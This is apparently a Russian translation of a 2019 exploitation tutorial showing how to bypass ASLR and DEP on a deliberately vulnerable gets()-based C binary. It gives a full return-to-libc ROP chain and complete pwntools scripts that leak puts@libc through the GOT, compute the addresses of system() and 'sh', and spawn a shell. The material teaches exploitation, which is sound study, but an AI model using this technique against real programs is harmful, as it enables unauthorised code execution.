Сегодня я хотел бы уделить немного времени и представить небольшой трюк, чтобы обойти как ASLR ( рандомизация макета адресного пространства), так и DEP ( Предотвращение выполнения данных), чтобы получить оболочку в переполнении буфера уязвимом двоичном файле.
Я видел, как эта проблема обсуждалась с использованием стратегий возврата к PLT, и это нормально, если целевой метод уже используется в двоичном файле — хотя, будем откровенны, не многие программы будут вызывать system()
или exec()
. и пригласить вас спавнить ракушки.
Этот подход основан на атаке return-to-libc, при которой злоумышленник сначала выдает адрес известной функции (например, puts()
), а затем вычисляет смещение между этой известной функцией и целевой функцией (например, system()
). Суммируя 2 значения, получается адрес функции, которую мы хотим вызвать с помощью эксплойта. Если вы поняли эту часть, вам нужно только подготовить полезные нагрузки.
Учитывая уязвимый двоичный файл, давайте рассмотрим следующий сценарий:
- ASLR включен
- DEP включен
- В бинарнике вызываются только
gets()
иputs()
- Запуск в системе x64 (без перебора)
- Для простоты: никаких предохранителей стека (никаких канареечных значений)
- Злоумышленник знает, какая версия libc используется бинарным файлом.
Уязвимый двоичный файл
При написании этого я использовал очень простой двоичный файл (vuln.c):
#include<stdio.h>
int main()
{
char buffer[40];
gets(buffer);
printf("hi there\n");
return 0;
}
Собирается со следующими параметрами:
gcc -Wall -ansi -fno-stack-protector vuln.c -o vuln
Шаг 1: Базовое переполнение буфера
Начнем с определения смещения, чтобы перезаписать обратный адрес и выполнить простой перехват выполнения. Есть несколько способов сделать это: вы можете либо начать с полезной нагрузки произвольного размера, либо проанализировать поведение двоичного файла в отладчике (например, GDB), как показано на изображении ниже, где мы перезаписываем обратный адрес и RIP (ПК) переходит на 0x414241424142 («ABABAB»)
Обычно я проверяю это с помощью адреса, который вызывает определенную функцию или возвращает к началу программы (0x400566).
В случае успеха он дважды напечатает одно и то же сообщение:
Почему это важно?
Это важно, потому что ASLR рандомизирует кучу, стек и смещения, где отображаются библиотеки (например, libc), только когда бинарный файл запускается в исполнение. Повторный вызов main не вызовет повторную рандомизацию.
Это означает, что мы можем отправлять несколько полезных нагрузок с фиксированными смещениями (смягчая эффект ASLR).
Шаг 2: Утечка адреса puts@libc
Это трудная часть. Для создания оболочки с использованием этого двоичного файла требуется несколько полезных нагрузок. По сути, вы хотите получить адрес puts()
с помощью вызова puts@PLT()
, а затем вычислить адрес system()
, имея доступ к libc. Кроме того, вам потребуется вычислить адрес строки 'sh', чтобы получить вызов system("sh")
. Вам придется использовать вторую полезную нагрузку для выполнения вышеупомянутого вызова.
Я рекомендую вам выполнить эти шаги с помощью такой среды, как pwntools, так как вторая полезная нагрузка должна быть адаптирована с использованием информации, просочившейся во время выполнения.
Чтобы продолжить, необходимо понять роль GOT ( Global Offset Table) в двоичном файле, поскольку нет точного способа заранее узнать, где ASLR будет отображать каждую внешнюю библиотеку текущего процесса.
Адреса внешних методов обычно определяются во время выполнения, когда эти методы вызываются в первый раз (т. е. когда батут PLT запускается впервые). Однако адреса должны быть указаны в исходном коде до запуска программы, поэтому используются заполнители (фиксированные адреса / адреса @GOT). GOT действует как словарь и связывает адреса-заполнители с реальными/внешними адресами (в библиотеке). Значения GOT определяются и записываются решателем динамических адресов (компоновщиком) после вызова метода.
В нашей первой полезной нагрузке мы хотим использовать адреса GOT (заполнители) вместо внешних адресов (которые рандомизированы). Одно интересное наблюдение заключается в том, что вызов puts(puts@GOT)
фактически выводит внешний адрес puts@libc
.
Нам нужно, чтобы наша начальная полезная нагрузка выполняла такой вызов, чтобы иметь начальное представление о том, где отображается libc.
Начните с выполнения следующей команды, чтобы просмотреть адрес puts@GOT
:
objdump -R vuln
Обратите внимание на вторую строку и запишите адрес:
OFFSET TYPE VALUE
0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__
> 0000000000601018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT gets@GLIBC_2.2.5
Далее вам понадобится гаджет ROP, который берет параметр из стека и помещает его в регистр RDI (в нашем случае принимает @GOT из нашей полезной нагрузки, из стека, и устанавливает его в качестве первого параметра для будущего вызова puts@PLT
). Как вы помните, мы работаем на архитектуре x64, и соглашение о вызовах гласит, что первый параметр метода должен быть помещен в регистр RDI. Мы ищем гаджет POP RDI; RET
— я делаю это с помощью ROPgadget (так что это ROPgadget --binary vuln
), но не стесняйтесь использовать то, что вам удобно (GDB, Radare2 и т. д.).
Мы получим следующую строку:
0x00000000004005f3 : pop rdi ; ret
Последнее, что требуется полезной нагрузке, — это способ вызова puts()
. Мы можем добиться этого, вызвав puts@PLT
(через батут PLT), так как его адрес также фиксирован и не зависит от ASLR.
Вы можете использовать что-то подобное для извлечения адрес из бинарника:
objdump -d -M intel vuln | grep "puts@plt"
У меня получилось что-то вроде этого:
0000000000400430 <puts@plt>:
Наконец, мы можем создать первую полезную нагрузку. Я напишу это как скрипт Python для pwntools, чтобы иметь возможность расширить его и включить вторую полезную нагрузку. Новый поток программы должен быть следующим:
RET на pop_rdi_ret_address -> (RDI = puts@GOT) RET на puts_plt_address -> RET на основной
from pwn import *
r = process('vuln')
main_address = 0x00400566
puts_got_address = 0x0000000000601018
puts_plt_address = 0x0000000000400430
pop_rdi_ret_address = 0x00000000004005f3
payload = 'A'*56 + p64(pop_rdi_ret_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)
r.sendline(payload)
print r.recvline() # "hi there"
leaked_output = r.recvline()
leaked_output = leaked_output[:-1]
print('leaked puts() address', leaked_output)
r.sendline('a')
print r.recvline() # "hi there"
А при запуске…
Шаг 3: Поиск адреса system@libc
В этой части мы вычисляем смещение между puts@libc
и system@libc
, а также находим адрес строки 'sh'. Из предыдущего запуска ldd мы знаем, что бинарный файл использует libc, расположенную по адресу: /lib/x86_64-linux-gnu/libc.so.6.
Выполнение следующих команд вернет смещения system()
и puts()
из libc:
objdump -d -M intel /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
objdump -d -M intel /lib/x86_64-linux-gnu/libc.so.6 | grep "_IO_puts"
Линии интереса следующие:
0000000000045390 <__libc_system@@GLIBC_PRIVATE>:
000000000006f690 <_IO_puts@@GLIBC_2.2.5>:
Я нашел смещение строки sh внутри libc с помощью radare2. Выбери один.
Вычитание смещения puts()
из просочившегося адреса puts@libc
дает нам базовый адрес libc (начало области памяти, где она отображается для текущего процесса). Добавляя смещение system()
, мы получаем вызов system@libc
.
Теперь мы можем адаптировать предыдущий сценарий, чтобы создать вторую полезную нагрузку, которая выполняет вызов.
from pwn import *
r = process('vuln')
main_address = 0x00400566
puts_got_address = 0x0000000000601018
puts_plt_address = 0x0000000000400430
pop_rdi_ret_address = 0x00000000004005f3
puts_libc_offset = 0x000000000006f690
system_libc_offset = 0x0000000000045390
sh_libc_offset = 0x00011e70
payload = 'A'*56 + p64(pop_rdi_ret_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)
r.sendline(payload)
print r.recvline()
leaked_output = r.recvline()
leaked_output = leaked_output[:-1]
print('leaked puts() address', leaked_output)
leaked_output += '\x00\x00'
puts_libc_address = u64(leaked_output)
system_libc_address = puts_libc_address - puts_libc_offset + system_libc_offset
print('system() address', p64(system_libc_address))
sh_libc_address = puts_libc_address - puts_libc_offset + sh_libc_offset
payload = 'A'*56 + p64(pop_rdi_ret_address) + p64(sh_libc_address) + p64(system_libc_address) + p64(main_address)
r.sendline(payload)
print(r.recvline()) # hi there
r.sendline(payload)
r.interactive()
Небольшое доказательство концепции
Если вы правильно выполнили шаги, вы должны получить что-то вроде этого:
Первоначально опубликовано на https://codingvision.net 2 июля 2019 г.